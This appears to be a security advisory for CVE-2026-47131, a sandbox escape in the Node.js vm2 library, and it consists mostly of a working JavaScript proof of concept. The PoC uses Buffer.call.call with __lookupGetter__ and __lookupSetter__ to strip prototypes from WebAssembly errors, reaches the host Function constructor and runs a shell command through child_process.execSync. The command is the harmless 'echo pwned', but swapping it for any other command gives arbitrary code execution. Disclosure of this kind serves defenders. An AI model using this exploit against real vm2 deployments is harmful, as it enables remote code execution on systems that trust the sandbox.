CVE-2026-47131

Summary

By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.

This allows attackers to run arbitrary code.

PoC

"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
  "use strict";
  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }
  f();
`);

Impact

Sandbox Escape → RCE